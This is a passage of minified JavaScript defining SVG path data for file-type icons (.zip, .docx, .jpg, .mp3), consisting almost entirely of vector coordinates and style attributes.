43.289062 32.8125 42.773438 32.890625 42.476562 33.296875 L 39.851562 36.890625 L 37.210938 33.296875 C 36.945312 32.890625 36.398438 32.8125 36.023438 33.109375 C 35.632812 33.375 35.554688 33.90625 35.820312 34.296875 L 38.789062 38.328125 L 35.820312 42.390625 C 35.554688 42.765625 35.632812 43.3125 36.023438 43.578125 C 36.164062 43.6875 36.335938 43.75 36.523438 43.75 C 36.789062 43.75 37.039062 43.609375 37.210938 43.390625 L 39.851562 39.78125 L 42.476562 43.390625 C 42.648438 43.609375 42.898438 43.75 43.179688 43.75 Z M 43.179688 43.75 "/>\n </g>'},zipIcon:{extension:".zip",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 20.175781 46.875 C 20.855469 46.875 21.402344 46.351562 21.402344 45.671875 C 21.402344 44.992188 20.855469 44.445312 20.175781 44.445312 L 13.132812 44.445312 L 21.183594 33.488281 L 21.183594 33.445312 C 21.203125 33.421875 21.226562 33.378906 21.25 33.335938 C 21.269531 33.3125 21.269531 33.289062 21.292969 33.269531 C 21.3125 33.203125 21.3125 33.179688 21.335938 33.136719 C 21.335938 33.09375 21.378906 33.070312 21.378906 33.007812 C 21.378906 32.984375 21.378906 32.960938 21.402344 32.917969 L 21.402344 32.679688 C 21.402344 32.632812 21.402344 32.613281 21.378906 32.546875 C 21.378906 32.503906 21.378906 32.480469 21.335938 32.4375 C 21.335938 32.414062 21.3125 32.371094 21.3125 32.304688 C 21.292969 32.285156 21.269531 32.242188 21.269531 32.21875 C 21.25 32.195312 21.226562 32.152344 21.203125 32.109375 C 21.183594 32.066406 21.160156 32.042969 21.117188 32.023438 C 21.09375 32 21.074219 31.957031 21.050781 31.933594 C 21.03125 31.914062 21.007812 31.867188 20.964844 31.847656 C 20.941406 31.824219 20.941406 31.804688 20.898438 31.78125 L 20.875 31.78125 C 20.832031 31.757812 20.8125 31.738281 20.765625 31.714844 C 20.746094 31.695312 20.722656 31.648438 20.65625 31.648438 L 20.570312 31.605469 L 20.4375 31.585938 C 20.417969 31.585938 20.375 31.5625 20.351562 31.5625 L 10.75 31.5625 C 10.070312 31.5625 9.546875 32.085938 9.546875 32.765625 C 9.546875 33.421875 10.070312 33.992188 10.75 33.992188 L 17.8125 33.992188 L 9.785156 44.972656 L 9.765625 44.972656 C 9.742188 45.015625 9.71875 45.058594 9.699219 45.082031 C 9.699219 45.101562 9.675781 45.148438 9.632812 45.167969 C 9.632812 45.210938 9.609375 45.257812 9.609375 45.277344 C 9.589844 45.320312 9.589844 45.367188 9.566406 45.386719 L 9.566406 45.496094 C 9.546875 45.539062 9.546875 45.585938 9.546875 45.648438 L 9.546875 45.738281 C 9.546875 45.78125 9.566406 45.824219 9.566406 45.890625 C 9.566406 45.933594 9.589844 45.957031 9.589844 45.976562 L 9.632812 46.109375 C 9.632812 46.152344 9.675781 46.175781 9.699219 46.21875 C 9.699219 46.242188 9.71875 46.261719 9.742188 46.328125 C 9.765625 46.351562 9.785156 46.394531 9.808594 46.414062 C 9.828125 46.4375 9.851562 46.460938 9.894531 46.480469 L 9.9375 46.542969 L 9.984375 46.589844 C 10.003906 46.613281 10.027344 46.632812 10.046875 46.632812 L 10.046875 46.65625 C 10.070312 46.679688 10.09375 46.679688 10.136719 46.699219 C 10.179688 46.722656 10.222656 46.742188 10.246094 46.742188 C 10.265625 46.789062 10.289062 46.789062 10.3125 46.808594 C 10.375 46.808594 10.421875 46.832031 10.464844 46.832031 C 10.484375 46.851562 10.507812 46.851562 10.53125 46.851562 L 10.648438 46.871094 Z M 26.214844 46.875 C 26.871094 46.875 27.4375 46.351562 27.4375 45.671875 L 27.4375 32.765625 C 27.4375 32.085938 26.871094 31.5625 26.214844 31.5625 C 25.535156 31.5625 25.011719 32.085938 25.011719 32.765625 L 25.011719 45.671875 C 25.011719 46.351562 25.535156 46.875 26.214844 46.875 Z M 32.734375 46.875 C 33.410156 46.875 33.957031 46.328125 33.957031 45.671875 L 33.957031 40.925781 L 36.648438 40.925781 C 39.25 40.925781 41.351562 38.824219 41.351562 36.265625 C 41.351562 33.664062 39.25 31.5625 36.648438 31.5625 L 32.734375 31.5625 C 32.078125 31.5625 31.53125 32.085938 31.53125 32.765625 L 31.53125 45.671875 C 31.53125 46.328125 32.078125 46.875 32.734375 46.875 Z M 36.648438 38.496094 L 33.957031 38.496094 L 33.957031 33.992188 L 36.648438 33.992188 C 37.917969 33.992188 38.902344 34.996094 38.921875 36.265625 C 38.902344 37.492188 37.917969 38.496094 36.648438 38.496094 Z M 36.648438 38.496094 "/>\n </g>'},docxIcon:{extension:".docx",path:'<g id="surface9" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 7.789062 43.75 C 9.589844 43.75 10.988281 43.269531 11.984375 42.304688 C 12.980469 41.339844 13.476562 39.984375 13.476562 38.234375 C 13.476562 36.496094 12.980469 35.144531 11.984375 34.179688 C 10.988281 33.214844 9.589844 32.734375 7.789062 32.734375 L 4.695312 32.734375 C 4.394531 32.734375 4.15625 32.816406 3.984375 32.984375 C 3.8125 33.152344 3.726562 33.386719 3.726562 33.6875 L 3.726562 42.796875 C 3.726562 43.097656 3.8125 43.332031 3.984375 43.5 C 4.15625 43.667969 4.394531 43.75 4.695312 43.75 Z M 7.664062 42.109375 L 5.742188 42.109375 L 5.742188 34.375 L 7.664062 34.375 C 10.195312 34.375 11.460938 35.660156 11.460938 38.234375 C 11.460938 40.816406 10.195312 42.109375 7.664062 42.109375 Z M 20.414062 43.890625 C 21.476562 43.890625 22.402344 43.660156 23.1875 43.203125 C 23.972656 42.746094 24.582031 42.089844 25.007812 41.234375 C 25.433594 40.378906 25.648438 39.378906 25.648438 38.234375 C 25.648438 37.089844 25.4375 36.089844 25.015625 35.242188 C 24.59375 34.394531 23.988281 33.738281 23.203125 33.28125 C 22.417969 32.824219 21.488281 32.59375 20.414062 32.59375 C 19.339844 32.59375 18.410156 32.824219 17.617188 33.28125 C 16.824219 33.738281 16.21875 34.394531 15.796875 35.242188 C 15.375 36.089844 15.164062 37.089844 15.164062 38.234375 C 15.164062 39.378906 15.378906 40.378906 15.804688 41.234375 C 16.230469 42.089844 16.839844 42.746094 17.625 43.203125 C 18.410156 43.660156 19.339844 43.890625 20.414062 43.890625 Z M 20.414062 42.28125 C 19.394531 42.28125 18.597656 41.933594 18.03125 41.234375 C 17.464844 40.535156 17.179688 39.535156 17.179688 38.234375 C 17.179688 36.933594 17.464844 35.933594 18.03125 35.242188 C 18.597656 34.550781 19.394531 34.203125 20.414062 34.203125 C 21.425781 34.203125 22.214844 34.550781 22.78125 35.242188 C 23.347656 35.933594 23.632812 36.933594 23.632812 38.234375 C 23.632812 39.535156 23.347656 40.535156 22.78125 41.234375 C 22.214844 41.933594 21.425781 42.28125 20.414062 42.28125 Z M 32.601562 43.890625 C 33.289062 43.890625 33.933594 43.789062 34.539062 43.585938 C 35.144531 43.382812 35.679688 43.089844 36.148438 42.703125 C 36.285156 42.597656 36.378906 42.488281 36.429688 42.367188 C 36.480469 42.246094 36.507812 42.109375 36.507812 41.953125 C 36.507812 41.722656 36.445312 41.53125 36.320312 41.375 C 36.195312 41.21875 36.042969 41.140625 35.867188 41.140625 C 35.753906 41.140625 35.644531 41.160156 35.539062 41.203125 C 35.433594 41.246094 35.332031 41.296875 35.226562 41.359375 C 34.746094 41.683594 34.316406 41.910156 33.9375 42.046875 C 33.558594 42.183594 33.144531 42.25 32.695312 42.25 C 31.613281 42.25 30.792969 41.910156 30.234375 41.234375 C 29.675781 40.558594 29.398438 39.558594 29.398438 38.234375 C 29.398438 36.921875 29.675781 35.925781 30.234375 35.25 C 30.792969 34.574219 31.613281 34.234375 32.695312 34.234375 C 33.164062 34.234375 33.589844 34.300781 33.976562 34.429688 C 34.363281 34.558594 34.777344 34.792969 35.226562 35.125 C 35.445312 35.269531 35.660156 35.34375 35.867188 35.34375 C 36.042969 35.34375 36.195312 35.265625 36.320312 35.109375 C 36.445312 34.953125 36.507812 34.761719 36.507812 34.53125 C 36.507812 34.363281 36.480469 34.222656 36.429688 34.109375 C 36.378906 33.996094 36.285156 33.886719 36.148438 33.78125 C 35.679688 33.394531 35.144531 33.101562 34.539062 32.898438 C 33.933594 32.695312 33.289062 32.59375 32.601562 32.59375 C 31.539062 32.59375 30.609375 32.824219 29.8125 33.28125 C 29.015625 33.738281 28.402344 34.394531 27.976562 35.242188 C 27.550781 36.089844 27.335938 37.089844 27.335938 38.234375 C 27.335938 39.378906 27.550781 40.378906 27.976562 41.234375 C 28.402344 42.089844 29.015625 42.746094 29.8125 43.203125 C 30.609375 43.660156 31.539062 43.890625 32.601562 43.890625 Z M 46.132812 43.84375 C 46.382812 43.84375 46.605469 43.75 46.796875 43.5625 C 46.988281 43.375 47.085938 43.15625 47.085938 42.90625 C 47.085938 42.707031 47.003906 42.511719 46.835938 42.3125 L 43.445312 38.15625 L 46.710938 34.171875 C 46.867188 34.003906 46.945312 33.808594 46.945312 33.578125 C 46.945312 33.328125 46.847656 33.113281 46.65625 32.929688 C 46.464844 32.746094 46.242188 32.65625 45.992188 32.65625 C 45.730469 32.65625 45.507812 32.769531 45.320312 33 L 42.273438 36.765625 L 39.226562 33 C 39.027344 32.769531 38.800781 32.65625 38.539062 32.65625 C 38.289062 32.65625 38.070312 32.746094 37.882812 32.929688 C 37.695312 33.113281 37.601562 33.328125 37.601562 33.578125 C 37.601562 33.808594 37.679688 34.003906 37.835938 34.171875 L 41.101562 38.15625 L 37.695312 42.3125 C 37.539062 42.5 37.460938 42.699219 37.460938 42.90625 C 37.460938 43.15625 37.558594 43.371094 37.75 43.554688 C 37.941406 43.738281 38.164062 43.828125 38.414062 43.828125 C 38.675781 43.828125 38.898438 43.71875 39.085938 43.5 L 42.273438 39.5625 L 45.445312 43.5 C 45.644531 43.730469 45.871094 43.84375 46.132812 43.84375 Z M 46.132812 43.84375 "/>\n </g>'},jpgIcon:{extension:".jpg",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 8.789062 47.007812 L 9.488281 46.960938 C 12.214844 46.757812 13.578125 45.277344 13.578125 42.523438 L 13.578125 32.742188 C 13.578125 32.320312 13.453125 31.980469 13.195312 31.726562 C 12.941406 31.472656 12.59375 31.34375 12.15625 31.34375 C 11.734375 31.34375 11.394531 31.472656 11.140625 31.726562 C 10.886719 31.980469 10.757812 32.320312 10.757812 32.742188 L 10.757812 42.523438 C 10.757812 43.238281 10.605469 43.769531 10.296875 44.117188 C 9.992188 44.46875 9.539062 44.660156 8.941406 44.6875 L 8.242188 44.730469 C 7.847656 44.761719 7.558594 44.867188 7.378906 45.046875 C 7.195312 45.230469 7.105469 45.496094 7.105469 45.847656 C 7.105469 46.664062 7.667969 47.050781 8.789062 47.007812 Z M 18.304688 47.007812 C 18.742188 47.007812 19.089844 46.878906 19.34375 46.625 C 19.597656 46.367188 19.726562 46.023438 19.726562 45.585938 L 19.726562 40.882812 L 23.640625 40.882812 C 25.289062 40.882812 26.574219 40.464844 27.492188 39.632812 C 28.410156 38.804688 28.871094 37.644531 28.871094 36.15625 C 28.871094 34.667969 28.410156 33.511719 27.492188 32.6875 C 26.574219 31.863281 25.289062 31.453125 23.640625 31.453125 L 18.261719 31.453125 C 17.839844 31.453125 17.507812 31.570312 17.265625 31.804688 C 17.023438 32.035156 16.90625 32.363281 16.90625 32.789062 L 16.90625 45.585938 C 16.90625 46.023438 17.03125 46.367188 17.289062 46.625 C 17.542969 46.878906 17.882812 47.007812 18.304688 47.007812 Z M 23.292969 38.714844 L 19.726562 38.714844 L 19.726562 33.640625 L 23.292969 33.640625 C 25.230469 33.640625 26.203125 34.488281 26.203125 36.179688 C 26.203125 37.871094 25.230469 38.714844 23.292969 38.714844 Z M 38.605469 47.070312 C 39.320312 47.070312 40.0625 47.011719 40.835938 46.898438 C 41.609375 46.78125 42.285156 46.621094 42.871094 46.414062 C 43.410156 46.242188 43.765625 46.015625 43.941406 45.738281 C 44.117188 45.460938 44.203125 44.988281 44.203125 44.316406 L 44.203125 39.613281 C 44.203125 39.292969 44.101562 39.03125 43.898438 38.835938 C 43.695312 38.640625 43.425781 38.539062 43.089844 38.539062 L 39.21875 38.539062 C 38.867188 38.539062 38.59375 38.628906 38.398438 38.804688 C 38.199219 38.976562 38.101562 39.226562 38.101562 39.546875 C 38.101562 39.867188 38.199219 40.117188 38.398438 40.289062 C 38.59375 40.464844 38.867188 40.554688 39.21875 40.554688 L 41.6875 40.554688 L 41.6875 44.425781 C 40.699219 44.703125 39.707031 44.839844 38.714844 44.839844 C 35.390625 44.839844 33.726562 42.945312 33.726562 39.152344 C 33.726562 37.300781 34.132812 35.90625 34.941406 34.964844 C 35.75 34.023438 36.949219 33.554688 38.539062 33.554688 C 39.238281 33.554688 39.867188 33.644531 40.421875 33.828125 C 40.972656 34.007812 41.574219 34.324219 42.214844 34.777344 C 42.390625 34.894531 42.542969 34.980469 42.671875 35.03125 C 42.804688 35.082031 42.949219 35.105469 43.109375 35.105469 C 43.359375 35.105469 43.570312 34.996094 43.746094 34.777344 C 43.921875 34.558594 44.007812 34.289062 44.007812 33.96875 C 44.007812 33.75 43.96875 33.558594 43.886719 33.398438 C 43.808594 33.238281 43.679688 33.078125 43.503906 32.917969 C 42.191406 31.808594 40.507812 31.257812 38.453125 31.257812 C 36.90625 31.257812 35.5625 31.574219 34.425781 32.207031 C 33.289062 32.84375 32.410156 33.753906 31.789062 34.941406 C 31.171875 36.128906 30.859375 37.535156 30.859375 39.152344 C 30.859375 40.800781 31.171875 42.21875 31.789062 43.40625 C 32.410156 44.597656 33.304688 45.503906 34.46875 46.132812 C 35.636719 46.757812 37.015625 47.070312 38.605469 47.070312 Z M 38.605469 47.070312 "/>\n </g>'},mp3Icon:{extension:".mp3",path:'<g id="surface9" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 43.828125 43.710938 C 43.605469 44.28125 43.273438 44.804688 42.84375 45.265625 C 42.40625 45.730469 41.867188 46.113281 41.242188 46.398438 C 40.597656 46.699219 39.851562 46.855469 39.027344 46.855469 C 38.328125 46.855469 37.703125 46.757812 37.160156 46.570312 C 36.609375 46.378906 36.160156 46.136719 35.769531 45.839844 C 35.386719 45.550781 35.050781 45.210938 34.796875 44.832031 C 34.570312 44.507812 34.394531 44.195312 34.265625 43.890625 C 34.140625 43.59375 34.054688 43.335938 33.996094 43.101562 C 33.792969 42.261719 34.304688 41.417969 35.140625 41.210938 C 35.980469 41.007812 36.828125 41.519531 37.03125 42.355469 C 37.039062 42.390625 37.066406 42.488281 37.144531 42.671875 C 37.191406 42.777344 37.265625 42.914062 37.371094 43.0625 C 37.4375 43.160156 37.53125 43.257812 37.65625 43.351562 C 37.792969 43.453125 37.972656 43.542969 38.195312 43.625 C 38.332031 43.667969 38.59375 43.730469 39.027344 43.730469 C 39.390625 43.730469 39.695312 43.675781 39.925781 43.566406 C 40.1875 43.445312 40.398438 43.300781 40.558594 43.132812 C 40.71875 42.957031 40.839844 42.773438 40.914062 42.578125 C 40.996094 42.371094 41.03125 42.195312 41.03125 42.023438 C 41.03125 41.789062 41 41.585938 40.921875 41.398438 C 40.871094 41.257812 40.785156 41.148438 40.660156 41.039062 C 40.515625 40.910156 40.296875 40.792969 40.011719 40.699219 C 39.6875 40.59375 39.253906 40.539062 38.738281 40.535156 C 37.882812 40.527344 37.1875 39.832031 37.1875 38.972656 L 37.1875 38.832031 C 37.1875 37.984375 37.859375 37.292969 38.699219 37.265625 C 39.070312 37.257812 39.398438 37.195312 39.679688 37.101562 C 39.921875 37.011719 40.121094 36.902344 40.273438 36.773438 C 40.40625 36.652344 40.507812 36.519531 40.582031 36.359375 C 40.652344 36.210938 40.6875 36.027344 40.6875 35.8125 C 40.6875 35.523438 40.644531 35.289062 40.574219 35.125 C 40.5 34.96875 40.414062 34.847656 40.304688 34.757812 C 40.1875 34.660156 40.042969 34.582031 39.867188 34.53125 C 39.402344 34.386719 38.878906 34.398438 38.480469 34.542969 C 38.289062 34.617188 38.121094 34.714844 37.976562 34.84375 C 37.820312 34.984375 37.695312 35.148438 37.59375 35.339844 C 37.484375 35.550781 37.40625 35.773438 37.367188 36.039062 C 37.230469 36.890625 36.429688 37.472656 35.574219 37.335938 C 34.722656 37.195312 34.140625 36.398438 34.28125 35.542969 C 34.378906 34.9375 34.5625 34.378906 34.835938 33.871094 C 35.109375 33.355469 35.464844 32.898438 35.890625 32.519531 C 36.320312 32.132812 36.824219 31.828125 37.382812 31.617188 C 38.433594 31.226562 39.667969 31.199219 40.78125 31.539062 C 41.351562 31.714844 41.863281 31.992188 42.308594 32.355469 C 42.777344 32.753906 43.148438 33.242188 43.414062 33.824219 C 43.679688 34.402344 43.8125 35.070312 43.8125 35.8125 C 43.8125 36.476562 43.679688 37.097656 43.421875 37.660156 C 43.25 38.046875 43.023438 38.394531 42.746094 38.707031 C 43.242188 39.148438 43.609375 39.671875 43.835938 40.261719 C 44.046875 40.804688 44.15625 41.398438 44.15625 42.023438 C 44.15625 42.578125 44.046875 43.148438 43.828125 43.710938 Z M 31.445312 38.492188 C 31.148438 39.140625 30.734375 39.703125 30.199219 40.164062 C 29.6875 40.605469 29.078125 40.957031 28.390625 41.199219 C 27.71875 41.4375 26.976562 41.5625 26.191406 41.5625 L 25 41.5625 L 25 45 C 25 45.859375 24.296875 46.5625 23.4375 46.5625 C 22.578125 46.5625 21.875 45.859375 21.875 45 L 21.875 32.8125 C 21.875 31.945312 22.578125 31.25 23.4375 31.25 L 26.191406 31.25 C 27.890625 31.25 29.257812 31.667969 30.253906 32.5 C 31.339844 33.398438 31.886719 34.714844 31.886719 36.40625 C 31.886719 37.148438 31.738281 37.851562 31.445312 38.492188 Z M 18.730469 45.210938 C 18.730469 46.070312 18.03125 46.773438 17.167969 46.773438 C 16.300781 46.773438 15.605469 46.070312 15.605469 45.210938 L 15.605469 39.28125 L 14.015625 43.140625 C 14.007812 43.164062 13.996094 43.191406 13.984375 43.214844 C 13.71875 43.777344 13.15625 44.117188 12.566406 44.117188 L 12.53125 44.117188 C 11.9375 44.117188 11.375 43.777344 11.109375 43.214844 L 11.082031 43.160156 L 9.339844 39.101562 L 9.339844 45.210938 C 9.339844 46.070312 8.640625 46.773438 7.777344 46.773438 C 6.910156 46.773438 6.214844 46.070312 6.214844 45.210938 L 6.214844 32.824219 C 6.214844 31.960938 6.910156 31.261719 7.777344 31.261719 L 7.835938 31.261719 C 8.472656 31.261719 9.046875 31.617188 9.335938 32.1875 L 12.527344 39.09375 L 15.59375 32.207031 C 15.894531 31.617188 16.46875 31.261719 17.105469 31.261719 L 17.167969 31.261719 C 18.03125 31.261719 18.730469 31.960938 18.730469 32.824219 Z M 41.382812 28.125 L 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.136719 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.136719 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 41.382812 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 28.257812 34.902344 C 27.835938 34.550781 27.140625 34.375 26.191406 34.375 L 25 34.375 L 25 38.4375 L 26.191406 38.4375 C 26.621094 38.4375 27.007812 38.375 27.34375 38.253906 C 27.667969 38.140625 27.929688 37.992188 28.148438 37.804688 C 28.34375 37.632812 28.492188 37.4375 28.601562 37.195312 C 28.710938 36.964844 28.757812 36.703125 28.757812 36.40625 C 28.757812 35.324219 28.382812 35.003906 28.257812 34.902344 "/>\n <path style="fill:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(99.607843%,99.607843%,99.607843%);stroke-opacity:1;stroke-miterlimit:4;" d="M 11.34125 13.57875 C 11.345 13.5925 11.3525 13.62375 11.36375 13.67375 C 11.3775 13.7225 11.3975 13.78125 11.42625 13.85 C 11.45375 13.9175 11.49375 13.9875 11.54625 14.0625 C 11.5975 14.13875 11.66625 14.20875 11.75 14.27125 C 11.83375 14.33625 11.9375 14.38875 12.0575 14.43125 C 12.1775 14.4725 12.32 14.49375 12.4875 14.49375 C 12.67875 14.49375 12.845 14.46125 12.9875 14.39375 C 13.13 14.32875 13.24875 14.245 13.34375 14.1425 C 13.43875 14.0425 13.51125 13.93 13.55875 13.8075 C 13.6075 13.6825 13.63125 13.56375 13.63125 13.4475 C 13.63125 13.31125 13.6075 13.1825 13.5625 13.065 C 13.515 12.9475 13.4425 12.845 13.3425 12.7575 C 13.2425 12.67 13.115 12.6 12.96 12.55 C 12.805 12.49875 12.6175 12.4725 12.4 12.4725 L 12.4 12.42625 C 12.57 12.42 12.72375 12.3925 12.8625 12.34375 C 13.0025 12.29625 13.11875 12.2275 13.21625 12.14375 C 13.31375 12.05875 13.3875 11.96 13.44125 11.845 C 13.4925 11.7275 13.52 11.60125 13.52 11.46 C 13.52 11.29375 13.4925 11.1525 13.43875 11.0325 C 13.38375 10.91375 13.31125 10.81625 13.21875 10.74 C 13.1275 10.66375 13.0225 10.6075 12.90375 10.5725 C 12.78625 10.535 12.66375 10.5175 12.5375 10.5175 C 12.395 10.5175 12.26125 10.54 12.14 10.58625 C 12.0175 10.6325 11.91 10.69625 11.81875 10.77875 C 11.72625 10.8625 11.64875 10.96 11.5875 11.07375 C 11.5275 11.18875 11.48625 11.315 11.4625 11.45375 M 7.5 14.4 L 7.5 10.5 L 8.3825 10.5 C 8.8075 10.5 9.13375 10.595 9.3625 10.78375 C 9.59 10.975 9.7025 11.2625 9.7025 11.65 C 9.7025 11.81625 9.6725 11.97125 9.6075 12.11125 C 9.5425 12.2525 9.4525 12.37375 9.335 12.475 C 9.21875 12.5775 9.0775 12.65625 8.9175 12.71375 C 8.75625 12.77125 8.5775 12.8 8.3825 12.8 L 7.6 12.8 M 2.4875 14.4675 L 2.4875 10.50375 L 2.5075 10.50375 C 2.5225 10.50375 2.53375 10.5125 2.5425 10.52625 L 3.9925 13.58625 C 3.99875 13.5975 4.005 13.6075 4.00875 13.6175 M 4.02125 13.6175 C 4.02625 13.6075 4.03125 13.5975 4.0375 13.58625 L 5.44 10.52625 C 5.4475 10.5125 5.45875 10.50375 5.4725 10.50375 L 5.4925 10.50375 L 5.4925 14.4675 " 